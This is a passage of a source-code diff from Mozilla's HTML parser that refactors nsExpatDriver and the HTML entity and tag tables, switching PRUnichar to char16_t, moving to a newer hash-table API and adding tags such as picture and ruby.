-nsExpatDriver::WillTokenize(bool aIsFinalChunk,
- nsTokenAllocator* aTokenAllocator)
+nsExpatDriver::WillTokenize(bool aIsFinalChunk)
{
mIsFinalChunk = aIsFinalChunk;
return NS_OK;
}
-NS_IMETHODIMP
-nsExpatDriver::DidTokenize(bool aIsFinalChunk)
-{
- return NS_OK;
-}
-
NS_IMETHODIMP_(void)
nsExpatDriver::Terminate()
{
@@ -1352,65 +1372,6 @@ nsExpatDriver::GetMode() const
/*************************** Unused methods **********************************/
-NS_IMETHODIMP_(CToken*)
-nsExpatDriver::PushTokenFront(CToken* aToken)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(CToken*)
-nsExpatDriver::PushToken(CToken* aToken)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(CToken*)
-nsExpatDriver::PopToken(void)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(CToken*)
-nsExpatDriver::PeekToken(void)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(CToken*)
-nsExpatDriver::GetTokenAt(int32_t anIndex)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(int32_t)
-nsExpatDriver::GetCount(void)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(nsTokenAllocator*)
-nsExpatDriver::GetTokenAllocator(void)
-{
- return 0;
-}
-
-NS_IMETHODIMP_(void)
-nsExpatDriver::PrependTokens(nsDeque& aDeque)
-{
-}
-
-NS_IMETHODIMP
-nsExpatDriver::CopyState(nsITokenizer* aTokenizer)
-{
- return NS_OK;
-}
-
-nsresult
-nsExpatDriver::HandleToken(CToken* aToken)
-{
- return NS_OK;
-}
-
NS_IMETHODIMP_(bool)
nsExpatDriver::IsContainer(int32_t aTag) const
{
diff --git a/parser/htmlparser/src/nsExpatDriver.h b/parser/htmlparser/nsExpatDriver.h
index 82bb860ee..1b532e79d 100644
--- a/parser/htmlparser/src/nsExpatDriver.h
+++ b/parser/htmlparser/nsExpatDriver.h
@@ -23,6 +23,8 @@ struct nsCatalogData;
class nsExpatDriver : public nsIDTD,
public nsITokenizer
{
+ virtual ~nsExpatDriver();
+
public:
NS_DECL_CYCLE_COLLECTING_ISUPPORTS
NS_DECL_NSIDTD
@@ -30,49 +32,46 @@ public:
NS_DECL_CYCLE_COLLECTION_CLASS_AMBIGUOUS(nsExpatDriver, nsIDTD)
nsExpatDriver();
- virtual ~nsExpatDriver();
- int HandleExternalEntityRef(const PRUnichar *aOpenEntityNames,
- const PRUnichar *aBase,
- const PRUnichar *aSystemId,
- const PRUnichar *aPublicId);
- void HandleStartElement(const PRUnichar *aName, const PRUnichar **aAtts);
- nsresult HandleEndElement(const PRUnichar *aName);
- nsresult HandleCharacterData(const PRUnichar *aCData, const uint32_t aLength);
- nsresult HandleComment(const PRUnichar *aName);
- nsresult HandleProcessingInstruction(const PRUnichar *aTarget,
- const PRUnichar *aData);
- nsresult HandleXMLDeclaration(const PRUnichar *aVersion,
- const PRUnichar *aEncoding,
+ int HandleExternalEntityRef(const char16_t *aOpenEntityNames,
+ const char16_t *aBase,
+ const char16_t *aSystemId,
+ const char16_t *aPublicId);
+ void HandleStartElement(const char16_t *aName, const char16_t **aAtts);
+ nsresult HandleEndElement(const char16_t *aName);
+ nsresult HandleCharacterData(const char16_t *aCData, const uint32_t aLength);
+ nsresult HandleComment(const char16_t *aName);
+ nsresult HandleProcessingInstruction(const char16_t *aTarget,
+ const char16_t *aData);
+ nsresult HandleXMLDeclaration(const char16_t *aVersion,
+ const char16_t *aEncoding,
int32_t aStandalone);
- nsresult HandleDefault(const PRUnichar *aData, const uint32_t aLength);
+ nsresult HandleDefault(const char16_t *aData, const uint32_t aLength);
nsresult HandleStartCdataSection();
nsresult HandleEndCdataSection();
- nsresult HandleStartDoctypeDecl(const PRUnichar* aDoctypeName,
- const PRUnichar* aSysid,
- const PRUnichar* aPubid,
+ nsresult HandleStartDoctypeDecl(const char16_t* aDoctypeName,
+ const char16_t* aSysid,
+ const char16_t* aPubid,
bool aHasInternalSubset);
nsresult HandleEndDoctypeDecl();
- nsresult HandleStartNamespaceDecl(const PRUnichar* aPrefix,
- const PRUnichar* aUri);
- nsresult HandleEndNamespaceDecl(const PRUnichar* aPrefix);
- nsresult HandleNotationDecl(const PRUnichar* aNotationName,
- const PRUnichar* aBase,
- const PRUnichar* aSysid,
- const PRUnichar* aPubid);
- nsresult HandleUnparsedEntityDecl(const PRUnichar* aEntityName,
- const PRUnichar* aBase,
- const PRUnichar* aSysid,
- const PRUnichar* aPubid,
- const PRUnichar* aNotationName);
+ nsresult HandleStartNamespaceDecl(const char16_t* aPrefix,
+ const char16_t* aUri);
+ nsresult HandleEndNamespaceDecl(const char16_t* aPrefix);
+ nsresult HandleNotationDecl(const char16_t* aNotationName,
+ const char16_t* aBase,
+ const char16_t* aSysid,
+ const char16_t* aPubid);
+ nsresult HandleUnparsedEntityDecl(const char16_t* aEntityName,
+ const char16_t* aBase,
+ const char16_t* aSysid,
+ const char16_t* aPubid,
+ const char16_t* aNotationName);
private:
- nsresult HandleToken(CToken* aToken);
-
// Load up an external stream to get external entity information
- nsresult OpenInputStreamFromExternalDTD(const PRUnichar* aFPIStr,
- const PRUnichar* aURLStr,
- const PRUnichar* aBaseURL,
+ nsresult OpenInputStreamFromExternalDTD(const char16_t* aFPIStr,
+ const char16_t* aURLStr,
+ const char16_t* aBaseURL,
nsIInputStream** aStream,
nsAString& aAbsURL);
@@ -84,7 +83,7 @@ private:
*
* @param aBuffer the buffer to pass to Expat. May be null.
* @param aLength the length of the buffer to pass to Expat (in number of
- * PRUnichar's). Must be 0 if aBuffer is null and > 0 if
+ * char16_t's). Must be 0 if aBuffer is null and > 0 if
* aBuffer is not null.
* @param aIsFinal whether there will definitely not be any more new buffers
* passed in to ParseBuffer
@@ -92,7 +91,7 @@ private:
* doesn't include the PRUnichars that Expat stored in
* its buffer but didn't parse yet.
*/
- void ParseBuffer(const PRUnichar *aBuffer, uint32_t aLength, bool aIsFinal,
+ void ParseBuffer(const char16_t *aBuffer, uint32_t aLength, bool aIsFinal,
uint32_t *aConsumed);
nsresult HandleError();
diff --git a/parser/htmlparser/src/nsHTMLEntities.cpp b/parser/htmlparser/nsHTMLEntities.cpp
index 005074b10..97048f132 100644
--- a/parser/htmlparser/src/nsHTMLEntities.cpp
+++ b/parser/htmlparser/nsHTMLEntities.cpp
@@ -3,7 +3,7 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#include "mozilla/Util.h"
+#include "mozilla/ArrayUtils.h"
#include "nsHTMLEntities.h"
@@ -11,7 +11,6 @@
#include "nsString.h"
#include "nsCRT.h"
-#include "prtypes.h"
#include "pldhash.h"
using namespace mozilla;
@@ -53,29 +52,23 @@ static PLDHashNumber
static const PLDHashTableOps EntityToUnicodeOps = {
- PL_DHashAllocTable,
- PL_DHashFreeTable,
PL_DHashStringKey,
matchNodeString,
PL_DHashMoveEntryStub,
PL_DHashClearEntryStub,
- PL_DHashFinalizeStub,
nullptr,
};
static const PLDHashTableOps UnicodeToEntityOps = {
- PL_DHashAllocTable,
- PL_DHashFreeTable,
hashUnicodeValue,
matchNodeUnicode,
PL_DHashMoveEntryStub,
PL_DHashClearEntryStub,
- PL_DHashFinalizeStub,
nullptr,
};
-static PLDHashTable gEntityToUnicode = { 0 };
-static PLDHashTable gUnicodeToEntity = { 0 };
+static PLDHashTable gEntityToUnicode;
+static PLDHashTable gUnicodeToEntity;
static nsrefcnt gTableRefCnt = 0;
#define HTML_ENTITY(_name, _value) { #_name, _value },
@@ -87,20 +80,18 @@ static const EntityNode gEntityArray[] = {
#define NS_HTML_ENTITY_COUNT ((int32_t)ArrayLength(gEntityArray))
nsresult
-nsHTMLEntities::AddRefTable(void)
+nsHTMLEntities::AddRefTable(void)
{
if (!gTableRefCnt) {
if (!PL_DHashTableInit(&gEntityToUnicode, &EntityToUnicodeOps,
- nullptr, sizeof(EntityNodeEntry),
- uint32_t(NS_HTML_ENTITY_COUNT / 0.75))) {
- gEntityToUnicode.ops = nullptr;
+ sizeof(EntityNodeEntry),
+ fallible, NS_HTML_ENTITY_COUNT)) {
return NS_ERROR_OUT_OF_MEMORY;
}
if (!PL_DHashTableInit(&gUnicodeToEntity, &UnicodeToEntityOps,
- nullptr, sizeof(EntityNodeEntry),
- uint32_t(NS_HTML_ENTITY_COUNT / 0.75))) {
+ sizeof(EntityNodeEntry),
+ fallible, NS_HTML_ENTITY_COUNT)) {
PL_DHashTableFinish(&gEntityToUnicode);
- gEntityToUnicode.ops = gUnicodeToEntity.ops = nullptr;
return NS_ERROR_OUT_OF_MEMORY;
}
for (const EntityNode *node = gEntityArray,
@@ -110,9 +101,7 @@ nsHTMLEntities::AddRefTable(void)
// add to Entity->Unicode table
EntityNodeEntry* entry =
static_cast<EntityNodeEntry*>
- (PL_DHashTableOperate(&gEntityToUnicode,
- node->mStr,
- PL_DHASH_ADD));
+ (PL_DHashTableAdd(&gEntityToUnicode, node->mStr, fallible));
NS_ASSERTION(entry, "Error adding an entry");
// Prefer earlier entries when we have duplication.
if (!entry->node)
@@ -120,9 +109,9 @@ nsHTMLEntities::AddRefTable(void)
// add to Unicode->Entity table
entry = static_cast<EntityNodeEntry*>
- (PL_DHashTableOperate(&gUnicodeToEntity,
- NS_INT32_TO_PTR(node->mUnicode),
- PL_DHASH_ADD));
+ (PL_DHashTableAdd(&gUnicodeToEntity,
+ NS_INT32_TO_PTR(node->mUnicode),
+ fallible));
NS_ASSERTION(entry, "Error adding an entry");
// Prefer earlier entries when we have duplication.
if (!entry->node)
@@ -138,27 +127,25 @@ nsHTMLEntities::AddRefTable(void)
}
void
-nsHTMLEntities::ReleaseTable(void)
+nsHTMLEntities::ReleaseTable(void)
{
if (--gTableRefCnt != 0)
return;
- if (gEntityToUnicode.ops) {
+ if (gEntityToUnicode.IsInitialized()) {
PL_DHashTableFinish(&gEntityToUnicode);
- gEntityToUnicode.ops = nullptr;
}
- if (gUnicodeToEntity.ops) {
+ if (gUnicodeToEntity.IsInitialized()) {
PL_DHashTableFinish(&gUnicodeToEntity);
- gUnicodeToEntity.ops = nullptr;
}
-
}
-int32_t
+int32_t
nsHTMLEntities::EntityToUnicode(const nsCString& aEntity)
{
- NS_ASSERTION(gEntityToUnicode.ops, "no lookup table, needs addref");
- if (!gEntityToUnicode.ops)
+ NS_ASSERTION(gEntityToUnicode.IsInitialized(),
+ "no lookup table, needs addref");
+ if (!gEntityToUnicode.IsInitialized())
return -1;
//this little piece of code exists because entities may or may not have the terminating ';'.
@@ -169,15 +156,12 @@ nsHTMLEntities::EntityToUnicode(const nsCString& aEntity)
temp.Truncate(aEntity.Length()-1);
return EntityToUnicode(temp);
}
-
- EntityNodeEntry* entry =
+
+ EntityNodeEntry* entry =
static_cast<EntityNodeEntry*>
- (PL_DHashTableOperate(&gEntityToUnicode, aEntity.get(), PL_DHASH_LOOKUP));
+ (PL_DHashTableSearch(&gEntityToUnicode, aEntity.get()));
- if (!entry || PL_DHASH_ENTRY_IS_FREE(entry))
- return -1;
-
- return entry->node->mUnicode;
+ return entry ? entry->node->mUnicode : -1;
}
@@ -195,15 +179,13 @@ nsHTMLEntities::EntityToUnicode(const nsAString& aEntity) {
const char*
nsHTMLEntities::UnicodeToEntity(int32_t aUnicode)
{
- NS_ASSERTION(gUnicodeToEntity.ops, "no lookup table, needs addref");
+ NS_ASSERTION(gUnicodeToEntity.IsInitialized(),
+ "no lookup table, needs addref");
EntityNodeEntry* entry =
static_cast<EntityNodeEntry*>
- (PL_DHashTableOperate(&gUnicodeToEntity, NS_INT32_TO_PTR(aUnicode), PL_DHASH_LOOKUP));
-
- if (!entry || PL_DHASH_ENTRY_IS_FREE(entry))
- return nullptr;
-
- return entry->node->mStr;
+ (PL_DHashTableSearch(&gUnicodeToEntity, NS_INT32_TO_PTR(aUnicode)));
+
+ return entry ? entry->node->mStr : nullptr;
}
#ifdef DEBUG
diff --git a/parser/htmlparser/src/nsHTMLEntities.h b/parser/htmlparser/nsHTMLEntities.h
index f38856bfa..f38856bfa 100644
--- a/parser/htmlparser/src/nsHTMLEntities.h
+++ b/parser/htmlparser/nsHTMLEntities.h
diff --git a/parser/htmlparser/src/nsHTMLEntityList.h b/parser/htmlparser/nsHTMLEntityList.h
index fa05382bf..fa05382bf 100644
--- a/parser/htmlparser/src/nsHTMLEntityList.h
+++ b/parser/htmlparser/nsHTMLEntityList.h
diff --git a/parser/htmlparser/public/nsHTMLTagList.h b/parser/htmlparser/nsHTMLTagList.h
index 1927f5f61..26110979d 100644
--- a/parser/htmlparser/public/nsHTMLTagList.h
+++ b/parser/htmlparser/nsHTMLTagList.h
@@ -30,7 +30,7 @@
Entries *must* use only lowercase characters.
- Don't forget to update /editor/libeditor/html/nsHTMLEditUtils.cpp as well.
+ Don't forget to update /editor/libeditor/nsHTMLEditUtils.cpp as well.
** Break these invariants and bad things will happen. **
@@ -46,7 +46,7 @@ HTML_HTMLELEMENT_TAG(aside)
HTML_TAG(audio, Audio)
HTML_HTMLELEMENT_TAG(b)
HTML_TAG(base, Shared)
-HTML_TAG(basefont, Span)
+HTML_HTMLELEMENT_TAG(basefont)
HTML_HTMLELEMENT_TAG(bdo)
HTML_TAG(bgsound, Unknown)
HTML_HTMLELEMENT_TAG(big)
@@ -61,6 +61,7 @@ HTML_HTMLELEMENT_TAG(cite)
HTML_HTMLELEMENT_TAG(code)
HTML_TAG(col, TableCol)
HTML_TAG(colgroup, TableCol)
+HTML_TAG(content, Content)
HTML_TAG(data, Data)
HTML_TAG(datalist, DataList)
HTML_HTMLELEMENT_TAG(dd)
@@ -125,15 +126,22 @@ HTML_TAG(option, Option)
HTML_TAG(output, Output)
HTML_TAG(p, Paragraph)
HTML_TAG(param, Shared)
+HTML_TAG(picture, Picture)
HTML_HTMLELEMENT_TAG(plaintext)
HTML_TAG(pre, Pre)
HTML_TAG(progress, Progress)
HTML_TAG(q, Shared)
+HTML_HTMLELEMENT_TAG(rb)
+HTML_HTMLELEMENT_TAG(rp)
+HTML_HTMLELEMENT_TAG(rt)
+HTML_HTMLELEMENT_TAG(rtc)
+HTML_HTMLELEMENT_TAG(ruby)
HTML_HTMLELEMENT_TAG(s)
HTML_HTMLELEMENT_TAG(samp)
HTML_TAG(script, Script)
HTML_HTMLELEMENT_TAG(section)
HTML_TAG(select, Select)
+HTML_TAG(shadow, Shadow)
HTML_HTMLELEMENT_TAG(small)
HTML_TAG(source, Source)
HTML_TAG(span, Span)
diff --git a/parser/htmlparser/src/nsHTMLTags.cpp b/parser/htmlparser/nsHTMLTags.cpp
index ddfb6fd64..1fe1cb3ff 100644
--- a/parser/htmlparser/src/nsHTMLTags.cpp
+++ b/parser/htmlparser/nsHTMLTags.cpp
@@ -3,8 +3,6 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#include "mozilla/Util.h"
-
#include "nsHTMLTags.h"
#include "nsCRT.h"
#include "nsReadableUtils.h"
@@ -19,268 +17,280 @@ using namespace mozilla;
// C++ sucks! There's no way to do this with a macro, at least not
// that I know, if you know how to do this with a macro then please do
// so...
-static const PRUnichar sHTMLTagUnicodeName_a[] =
+static const char16_t sHTMLTagUnicodeName_a[] =
{'a', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_abbr[] =
+static const char16_t sHTMLTagUnicodeName_abbr[] =
{'a', 'b', 'b', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_acronym[] =
+static const char16_t sHTMLTagUnicodeName_acronym[] =
{'a', 'c', 'r', 'o', 'n', 'y', 'm', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_address[] =
+static const char16_t sHTMLTagUnicodeName_address[] =
{'a', 'd', 'd', 'r', 'e', 's', 's', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_applet[] =
+static const char16_t sHTMLTagUnicodeName_applet[] =
{'a', 'p', 'p', 'l', 'e', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_area[] =
+static const char16_t sHTMLTagUnicodeName_area[] =
{'a', 'r', 'e', 'a', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_article[] =
+static const char16_t sHTMLTagUnicodeName_article[] =
{'a', 'r', 't', 'i', 'c', 'l', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_aside[] =
+static const char16_t sHTMLTagUnicodeName_aside[] =
{'a', 's', 'i', 'd', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_audio[] =
+static const char16_t sHTMLTagUnicodeName_audio[] =
{'a', 'u', 'd', 'i', 'o', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_b[] =
+static const char16_t sHTMLTagUnicodeName_b[] =
{'b', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_base[] =
+static const char16_t sHTMLTagUnicodeName_base[] =
{'b', 'a', 's', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_basefont[] =
+static const char16_t sHTMLTagUnicodeName_basefont[] =
{'b', 'a', 's', 'e', 'f', 'o', 'n', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_bdo[] =
+static const char16_t sHTMLTagUnicodeName_bdo[] =
{'b', 'd', 'o', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_bgsound[] =
+static const char16_t sHTMLTagUnicodeName_bgsound[] =
{'b', 'g', 's', 'o', 'u', 'n', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_big[] =
+static const char16_t sHTMLTagUnicodeName_big[] =
{'b', 'i', 'g', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_blockquote[] =
+static const char16_t sHTMLTagUnicodeName_blockquote[] =
{'b', 'l', 'o', 'c', 'k', 'q', 'u', 'o', 't', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_body[] =
+static const char16_t sHTMLTagUnicodeName_body[] =
{'b', 'o', 'd', 'y', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_br[] =
+static const char16_t sHTMLTagUnicodeName_br[] =
{'b', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_button[] =
+static const char16_t sHTMLTagUnicodeName_button[] =
{'b', 'u', 't', 't', 'o', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_canvas[] =
+static const char16_t sHTMLTagUnicodeName_canvas[] =
{'c', 'a', 'n', 'v', 'a', 's', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_caption[] =
+static const char16_t sHTMLTagUnicodeName_caption[] =
{'c', 'a', 'p', 't', 'i', 'o', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_center[] =
+static const char16_t sHTMLTagUnicodeName_center[] =
{'c', 'e', 'n', 't', 'e', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_cite[] =
+static const char16_t sHTMLTagUnicodeName_cite[] =
{'c', 'i', 't', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_code[] =
+static const char16_t sHTMLTagUnicodeName_code[] =
{'c', 'o', 'd', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_col[] =
+static const char16_t sHTMLTagUnicodeName_col[] =
{'c', 'o', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_colgroup[] =
+static const char16_t sHTMLTagUnicodeName_colgroup[] =
{'c', 'o', 'l', 'g', 'r', 'o', 'u', 'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_counter[] =
- {'c', 'o', 'u', 'n', 't', 'e', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_data[] =
+static const char16_t sHTMLTagUnicodeName_content[] =
+ {'c', 'o', 'n', 't', 'e', 'n', 't', '\0'};
+static const char16_t sHTMLTagUnicodeName_data[] =
{'d', 'a', 't', 'a', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_datalist[] =
+static const char16_t sHTMLTagUnicodeName_datalist[] =
{'d', 'a', 't', 'a', 'l', 'i', 's', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_dd[] =
+static const char16_t sHTMLTagUnicodeName_dd[] =
{'d', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_del[] =
+static const char16_t sHTMLTagUnicodeName_del[] =
{'d', 'e', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_dfn[] =
+static const char16_t sHTMLTagUnicodeName_dfn[] =
{'d', 'f', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_dir[] =
+static const char16_t sHTMLTagUnicodeName_dir[] =
{'d', 'i', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_div[] =
+static const char16_t sHTMLTagUnicodeName_div[] =
{'d', 'i', 'v', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_dl[] =
+static const char16_t sHTMLTagUnicodeName_dl[] =
{'d', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_dt[] =
+static const char16_t sHTMLTagUnicodeName_dt[] =
{'d', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_em[] =
+static const char16_t sHTMLTagUnicodeName_em[] =
{'e', 'm', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_embed[] =
+static const char16_t sHTMLTagUnicodeName_embed[] =
{'e', 'm', 'b', 'e', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_fieldset[] =
+static const char16_t sHTMLTagUnicodeName_fieldset[] =
{'f', 'i', 'e', 'l', 'd', 's', 'e', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_figcaption[] =
+static const char16_t sHTMLTagUnicodeName_figcaption[] =
{'f', 'i', 'g', 'c', 'a', 'p', 't', 'i', 'o', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_figure[] =
+static const char16_t sHTMLTagUnicodeName_figure[] =
{'f', 'i', 'g', 'u', 'r', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_font[] =
+static const char16_t sHTMLTagUnicodeName_font[] =
{'f', 'o', 'n', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_footer[] =
+static const char16_t sHTMLTagUnicodeName_footer[] =
{'f', 'o', 'o', 't', 'e', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_form[] =
+static const char16_t sHTMLTagUnicodeName_form[] =
{'f', 'o', 'r', 'm', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_frame[] =
+static const char16_t sHTMLTagUnicodeName_frame[] =
{'f', 'r', 'a', 'm', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_frameset[] =
+static const char16_t sHTMLTagUnicodeName_frameset[] =
{'f', 'r', 'a', 'm', 'e', 's', 'e', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_h1[] =
+static const char16_t sHTMLTagUnicodeName_h1[] =
{'h', '1', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_h2[] =
+static const char16_t sHTMLTagUnicodeName_h2[] =
{'h', '2', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_h3[] =
+static const char16_t sHTMLTagUnicodeName_h3[] =
{'h', '3', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_h4[] =
+static const char16_t sHTMLTagUnicodeName_h4[] =
{'h', '4', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_h5[] =
+static const char16_t sHTMLTagUnicodeName_h5[] =
{'h', '5', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_h6[] =
+static const char16_t sHTMLTagUnicodeName_h6[] =
{'h', '6', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_head[] =
+static const char16_t sHTMLTagUnicodeName_head[] =
{'h', 'e', 'a', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_header[] =
+static const char16_t sHTMLTagUnicodeName_header[] =
{'h', 'e', 'a', 'd', 'e', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_hgroup[] =
+static const char16_t sHTMLTagUnicodeName_hgroup[] =
{'h', 'g', 'r', 'o', 'u', 'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_hr[] =
+static const char16_t sHTMLTagUnicodeName_hr[] =
{'h', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_html[] =
+static const char16_t sHTMLTagUnicodeName_html[] =
{'h', 't', 'm', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_i[] =
+static const char16_t sHTMLTagUnicodeName_i[] =
{'i', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_iframe[] =
+static const char16_t sHTMLTagUnicodeName_iframe[] =
{'i', 'f', 'r', 'a', 'm', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_image[] =
+static const char16_t sHTMLTagUnicodeName_image[] =
{'i', 'm', 'a', 'g', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_img[] =
+static const char16_t sHTMLTagUnicodeName_img[] =
{'i', 'm', 'g', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_input[] =
+static const char16_t sHTMLTagUnicodeName_input[] =
{'i', 'n', 'p', 'u', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_ins[] =
+static const char16_t sHTMLTagUnicodeName_ins[] =
{'i', 'n', 's', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_kbd[] =
+static const char16_t sHTMLTagUnicodeName_kbd[] =
{'k', 'b', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_keygen[] =
+static const char16_t sHTMLTagUnicodeName_keygen[] =
{'k', 'e', 'y', 'g', 'e', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_label[] =
+static const char16_t sHTMLTagUnicodeName_label[] =
{'l', 'a', 'b', 'e', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_legend[] =
+static const char16_t sHTMLTagUnicodeName_legend[] =
{'l', 'e', 'g', 'e', 'n', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_li[] =
+static const char16_t sHTMLTagUnicodeName_li[] =
{'l', 'i', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_link[] =
+static const char16_t sHTMLTagUnicodeName_link[] =
{'l', 'i', 'n', 'k', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_listing[] =
+static const char16_t sHTMLTagUnicodeName_listing[] =
{'l', 'i', 's', 't', 'i', 'n', 'g', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_main[] =
+static const char16_t sHTMLTagUnicodeName_main[] =
{'m', 'a', 'i', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_map[] =
+static const char16_t sHTMLTagUnicodeName_map[] =
{'m', 'a', 'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_mark[] =
+static const char16_t sHTMLTagUnicodeName_mark[] =
{'m', 'a', 'r', 'k', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_marquee[] =
+static const char16_t sHTMLTagUnicodeName_marquee[] =
{'m', 'a', 'r', 'q', 'u', 'e', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_menu[] =
+static const char16_t sHTMLTagUnicodeName_menu[] =
{'m', 'e', 'n', 'u', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_menuitem[] =
+static const char16_t sHTMLTagUnicodeName_menuitem[] =
{'m', 'e', 'n', 'u', 'i', 't', 'e', 'm', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_meta[] =
+static const char16_t sHTMLTagUnicodeName_meta[] =
{'m', 'e', 't', 'a', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_meter[] =
+static const char16_t sHTMLTagUnicodeName_meter[] =
{'m', 'e', 't', 'e', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_multicol[] =
+static const char16_t sHTMLTagUnicodeName_multicol[] =
{'m', 'u', 'l', 't', 'i', 'c', 'o', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_nav[] =
+static const char16_t sHTMLTagUnicodeName_nav[] =
{'n', 'a', 'v', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_nobr[] =
+static const char16_t sHTMLTagUnicodeName_nobr[] =
{'n', 'o', 'b', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_noembed[] =
+static const char16_t sHTMLTagUnicodeName_noembed[] =
{'n', 'o', 'e', 'm', 'b', 'e', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_noframes[] =
+static const char16_t sHTMLTagUnicodeName_noframes[] =
{'n', 'o', 'f', 'r', 'a', 'm', 'e', 's', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_noscript[] =
+static const char16_t sHTMLTagUnicodeName_noscript[] =
{'n', 'o', 's', 'c', 'r', 'i', 'p', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_object[] =
+static const char16_t sHTMLTagUnicodeName_object[] =
{'o', 'b', 'j', 'e', 'c', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_ol[] =
+static const char16_t sHTMLTagUnicodeName_ol[] =
{'o', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_optgroup[] =
+static const char16_t sHTMLTagUnicodeName_optgroup[] =
{'o', 'p', 't', 'g', 'r', 'o', 'u', 'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_option[] =
+static const char16_t sHTMLTagUnicodeName_option[] =
{'o', 'p', 't', 'i', 'o', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_output[] =
+static const char16_t sHTMLTagUnicodeName_output[] =
{'o', 'u', 't', 'p', 'u', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_p[] =
+static const char16_t sHTMLTagUnicodeName_p[] =
{'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_param[] =
+static const char16_t sHTMLTagUnicodeName_param[] =
{'p', 'a', 'r', 'a', 'm', '\0'};
